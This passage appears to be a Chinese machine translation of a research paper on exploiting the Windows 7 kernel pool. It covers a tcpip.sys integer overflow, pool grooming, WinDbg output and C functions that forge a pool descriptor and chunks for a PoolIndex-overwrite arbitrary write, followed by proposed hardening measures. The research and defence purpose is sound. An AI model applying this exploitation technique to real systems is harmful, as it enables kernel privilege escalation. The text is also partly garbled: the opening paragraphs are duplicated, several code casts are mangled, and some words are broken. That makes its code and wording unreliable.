在Windows 7 / Windows 2008 R2和Windows Vista / Windows 2008上发现此功能容易受到整数溢出的影响[17],因为它没有始终如一地使用安全整数函数。因此,为地址列表指定大量地址可能会导致缓冲区分配不足,从而导致IppFlattenAddressList()中的池溢出。
该漏洞实质上允许攻击者使用SOCKADDR IN6大小的记录(0x1c字节)中的任何字节组合来破坏相邻池内存。内存复制在结构的sin6族成员不再等于0x17(AF INET6)的位置停止。但是,由于在复制发生后进行了此检查,因此当仅溢出单个地址记录时,攻击者无需设置此字段。
4.2 准备池内存
Windows TCP / IP内核模块或tcpip.sys实现了几个用于控制套接字模式的函数。通过调用WSAIoctl并为所需操作提供I / O控制代码,这些函数大部分可以从用户模式访问。指定SIO ADDRESS LIST SORT ioctl时,tcpip.sys调用IppSortDestinationAddresses()对IPv6和IPv4目标地址列表进行排序,以确定建立连接的最佳可用地址。
在Windows 7 / Windows 2008 R2和Windows Vista / Windows 2008上发现此功能容易受到整数溢出的影响[17],因为它没有始终如一地使用安全整数函数。因此,为地址列表指定大量地址可能会导致缓冲区分配不足,从而导致IppFlattenAddressList()中的池溢出。
该漏洞实质上允许攻击者使用SOCKADDR IN6大小的记录(0x1c字节)中的任何字节组合来破坏相邻池内存。内存复制在结构的sin6族成员不再等于0x17(AF INET6)的位置停止。但是,由于在复制发生后进行了此检查,因此当仅溢出单个地址记录时,攻击者无需设置此字段。
kd> !pool @eax
Pool page 976e34c8 region is Nonpaged pool
976e32e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
976e3340 size: 60 previous size: 60 (Free) IoCo
976e33a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
976e3400 size: 60 previous size: 60 (Free) IoCo
976e3460 size: 60 previous size: 60 (Allocated) IoCo (Protected)
*976e34c0 size: 60 previous size: 60 (Allocated) *Ipas
Pooltag Ipas : IP Buffers for Address Sort, Binary : tcpip.sys
976e3520 size: 60 previous size: 60 (Allocated) IoCo (Protected)
976e3580 size: 60 previous size: 60 (Free) IoCo
976e35e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
976e3640 size: 60 previous size: 60 (Free) IoCo3
Example 3: Address sort buffer allocated in user fragmented pool
在示例3中,内核池已经填充了IoCompletionReserve对象(使用NtAllocateReserveObject [7]),随后每个第二次分配都被释放。 因此,当在ppSortDestinationAddresses()中分配与释放的块的大小(三个SOCKADDR IN6条目)匹配的地址排序缓冲区时,可能会落入创建的一个oles中。
4.3 Using PoolIndex Overwrite
为了利用PoolIndex攻击,攻击者必须溢出以下池块的池标头,并将其PoolType设置为PagedPooljInUse(3),并将其PoolIndex设置为越界索引(例如,大多数单处理器系统上为5) ,如例4所示。这将导致在释放损坏的池块时引用空指针池描述符。
kd> dt nt!_POOL_HEADER 976e3520
0x000 PreviousSize : 0y000001100 (0xc)
+0x000 PoolIndex : 0y0000101 (0x5) <– out-of-bounds index
+0x002 BlockSize : 0y000001100 (0xc)
+0x002 PoolType : 0y0000011 (0x3) <– PagedPool|InUse
+0x000 Ulong1 : 0x60c0a0c
+0x004 PoolTag : 0xef436f49
+0x004 AllocatorBackTraceIndex : 0x6f49
+0x006 PoolTagHash : 0xef43
示例**4**:溢出后的池头 - 破坏PoolIndex在清单1的函数中,我们初始化必要的池描述符值以执行攻击。 在此函数中,PoolAddress指向用户控制的池块(例如,在用户模式页面上分配),WriteAddress设置写入PoolAddress指针的地址。
VOID
InitPoolDescriptor(PPOOL_DESCRIPTOR PoolDescriptor,
PPOOL_HEADER PoolAddress,
PVOID WriteAddress)
{
ULONG i;
RtlZeroMemory(PoolDescriptor, sizeof(POOL_DESCRIPTOR));
PoolDescriptor->PoolType = PagedPool;
PoolDescriptor->PagedLock.Count = 1;
// create pending frees list
PoolDescriptor->PendingFreeDepth = 0x20;
PoolDescriptor->PendingFrees = (VOID **)(PoolAddress + 1);
// create ListHeads entries with target address
for (i = 0; i < 512; i++) {
PoolDescriptor->ListHeads[i].Flink = (PCHAR)
WriteAddress - sizeof(PVOID);
PoolDescriptor->ListHeads[i].Blink = (PCHAR)
WriteAddress - sizeof(PVOID);
}
}
清单**1**.初始化精心设计的池描述符的函数我们假设要使用挂起的frees列表,因为大多数系统都有512MB或更多的RAM。因此,用户控制的池块的地址最终会写入WriteAddress指示的地址。链接的过程。这可以用来覆盖内核函数指针,使得利用变得微不足道。如果没有使用挂起的释放列表,释放的内核池块的地址(内核地址)将最终被写入指定的地址,在这种情况下,执行任意代码将需要其他方法,如部分指针覆盖。
触发溢出之前的最后一项任务是初始化PoolAddress指向的内存,以便伪造的池块(在挂起的释放列表上)正确返回到精心设计的ListHeads列表(触发任意写入)。在清单2的函数中我们创建了两个边界池块的布局,其中PoolIndex再次将超出范围的索引引用到关联的池描述符数组中。此外,BlockSize必须足够大以避免使用旁视列表。
# define BASE_POOL_TYPE_MASK 1
# define POOL_IN_USE_MASK 2
# define BLOCK_SHIFT 3 // 4 on x64
VOID
InitPoolChunks(PVOID PoolAddress, USHORT BlockSize)
{
POOL_HEADER * pool;
SLIST_ENTRY * entry;
// chunk to be freed
pool = (POOL_HEADER *)PoolAddress;
pool->PreviousSize = 0;
pool->PoolIndex = 5; // out -of - bounds pool index
pool->BlockSize = BlockSize;
pool->PoolType = POOL_IN_USE_MASK | (PagedPool &
BASE_POOL_TYPE_MASK);
// last chunk on the pending frees list
entry = (SLIST_ENTRY )((*PCHAR)PoolAddress + sizeof(
POOL_HEADER)));
entry->Next = NULL;
// bordering chunk ( busy to avoid coalescing )
pool = (POOL_HEADER )((*PCHAR)PoolAddress + (BlockSize
<< BLOCK_SHIFT));
pool->PreviousSize = BlockSize;
pool->PoolIndex = 0;
pool->BlockSize = BlockSize;
pool->PoolType = POOL_IN_USE_MASK | (PagedPool &
BASE_POOL_TYPE_MASK);
}
清单**2**.初始化精心设计的池布局的函数
5 Kernel Pool Hardening
虽然引入安全取消链接是朝着正确方向迈出的一步,但在匹配用户区堆的健壮性方面,内核池开发预防仍有很长的路要走。 在本节中,我们提出了解决第3节中讨论的攻击的方法,以及有关如何进一步改进内核池的建议。
5.1 ListEntry Flink覆盖
内核池中引入了安全取消链接,以防止对池溢出的一般利用。但是,如3.1节所示,验证不足可能允许攻击者在从空闲列表(ListHeads)分配条目时破坏任意内存。如前所述,这是由于未对未链接的实际块执行安全取消链接,而是由目标ListHeads数组条目的LIST ENTRY结构执行。因此,一个简单的解决方法是正确验证未链接的块的前向和后向链接。
在已经高度优化的池管理算法中引入额外缓解的主要问题是这些变化是否会对性能产生重大影响[3]。最大的问题不是引入的附加指令的数量,而是如果更改需要额外的分页操作,这在性能方面非常昂贵。解决3.1节中的攻击可能会影响性能,因为未保证未链接块的前向链路的地址被分页到内存中,因此可能在安全取消链接时触发页面错误。
5.2 Lookaside Next 指针覆盖
由于旁视列表本质上是不安全的,因此在不对内核池进行重大更改的情况下解决其缺点显然是一项具有挑战性的任务。 在Vista和Windows 7堆中,后备列表已被删除,转而支持低碎片堆[9]。 LFH避免使用嵌入式指针,并大大降低了攻击者准确操作堆的能力。 因此,可以在内核中使用类似的方法。 但是,删除高度优化的旁视列表可能会在一定程度上影响性能。
或者,可以添加池块完整性检查以帮助防止利用后备列表指针。 由于所有池块必须为LIST ENTRY结构保留空间,并且后备指针只需要一半大小(SLIST ENTRY),后备列表上的池块可以在Next指针之前存储4个字节(或8个x64)cookie(图9)。 该cookie应该是非平凡的,以从用户模式确定,并且可以是随机值(例如由旁视列表结构或处理器控制块定义)与块的地址进行异或。 但请注意,在攻击者可以从分配的块(数组索引漏洞)写入所选偏移的情况下,这不一定会阻止利用。
5.3 PendingFrees Next 指针覆盖
由于PendingFrees列表是单链接的,因此它们显然与上述旁视列表具有相同的问题。 因此,PendingFrees列表也可以从嵌入式池块cookie中受益,以防止利用池溢出。 虽然可以使用双向链表来代替,但这需要ExFreePoolWithTag中的额外锁定(在将条目插入列表时),这将是计算上昂贵的并且无法推迟延迟空闲列表的目的。
5.4 PoolIndex 覆盖
由于PoolIndex用作池描述符数组索引,因此解决攻击的正确方法是在释放块之前根据数组条目的总数验证其值。反过来,这可以防止攻击者引用越界数组索引并控制池描述符。如果内核池在链接之前对边界块执行验证,也可以防止PoolIndex覆盖(如第4节所示)。此技术也是空指针滥用的另一个明显例子。
因此,拒绝在非系统进程中映射虚拟地址null(0)不仅可以解决此特定攻击,还可以解决许多其他可利用的空指针内核漏洞。目前,空页主要用于向后兼容,例如通过Virtual Dos Machine(VDM)来寻址WOW应用程序中的16位内存。因此,攻击者可以通过注入WOW进程来规避空页映射限制。
5.5 Quota 进程指针覆盖
在第3.5节中,我们展示了攻击者如何利用池损坏漏洞取消引用任意进程对象指针。这在x64系统上特别容易执行,因为指针存储在池头中,而不是像x86系统那样存储在池块 的末尾。为了防止涉及使用此指针的利用,可以使用简单编码(使用攻击者未知的常量)来混淆其实际值。但是,这种方法的一个明显问题是池的损坏可能会更加难以调试,因为 不正确解码的指针可能会引用与崩溃无关的数据。尽管如此,仍然可以进行某些检查以验证已解码的指针,例如确保它在预期范围内正确对齐。
6 结论
在本文中,我们已经证明,尽管安全取消链接,Windows 7内核池仍然容易受到通用攻击。 但是,可以通过添加简单检查或从用户区堆中采用漏洞利用防护功能来解决大多数已识别的攻击媒介。 因此,在将来的Windows版本和Service Pack中,我们可能会看到内核池的额外强化。 特别是,内核池将从池头校验和或cookie中受益匪浅,以阻止涉及池头损坏或恶意池制作的利用。
参考
[1] Alexander
Anisimov: Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass. http://www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf
[2] Adam Barth, Collin Jackson, Charles Reis: The Security Architecture of the Chromium Browser. http://crypto.stanford.edu/websec/chromium/chromium-security-architecture.pdf
[3] Pete Beck: Safe Unlinking in the Kernel Pool. Microsoft Security Research and Defense. http://blogs.technet.com/srd/archive/2009/05/26/safe-unlinking-in-the-kernel-pool.aspx
[4] Dion Blazakis: Interpreter Exploitation: Pointer Inference and JIT Spraying. Black Hat DC 2010. http://www.semantiscope.com/research/BHDC2010
[5] Matt Conover & Oded Horovitz: Windows Heap Exploitation. CanSecWest 2004.
[6] Matthew Jurczyk: Windows Objects in Kernel Vulnerability Exploitation. Hack-in-the-Box Magazine 002. http://www.hackinthebox.org/misc/HITB-Ezine-Issue-002.pdf
[7] Matthew Jurczyk: Reserve Objects in Windows 7. Hack-in-the-Box Magazine 003. http://www.hackinthebox.org/misc/HITB-Ezine-Issue-003.pdf
[8] Kostya Kortchinsky: Real World Kernel Pool Exploitation. SyScan 2008. http://www.immunitysec.com/downloads/KernelPool.odp
[9] Adrian Marinescu: Windows Vista Heap Management Enhancements. Black Hat USA 2006. http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Marinescu.pdf
[10] Microsoft Security Bulletin MS10-058: Vulnerabilities in TCP/IP Could Allow Elevation of Privilege. http://www.microsoft.com/technet/security/Bulletin/MS10-058.mspx
[11] mxatone: Analyzing Local Privilege Escalation in win32k. Uninformed Journal,vol. 10, article 2. http://www.uninformed.org/?v=10&a=2
[12] Office Team: Protected View in Office 2010. Microsoft Office 2010 Engineering. http://blogs.technet.com/b/office2010/archive/2009/08/13/protected-view-in-office-2010.aspx
[13] Kyle Randolph: Inside Adobe Reader Protected Mode - Part 1 - Design. Adobe Secure Software Engineering Team (ASSET) Blog. http://blogs.adobe.com/asset/2010/10/inside-adobe-reader-protected-mode-part-1-design.html
[14] Ruben Santamarta: Exploiting Common Flaws in Drivers. http://reversemode.com/index.php?option=com_remository&Itemid=2&func=fileinfo&id=51
[15] Hovav Shacham: The Geometry of Innocent Flesh on the Bone: Return-into-libcwithout Function Calls (on the x86). In Proceedings of CCS 2007, pages 552561. ACM Press, Oct. 2007.
[16] SoBeIt: How To Exploit Windows Kernel Memory Pool. Xcon 2005. http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf
[17] Matthieu Suiche: Microsoft Security Bulletin (August).http://moonsols.com/blog/14-august-security-bulletin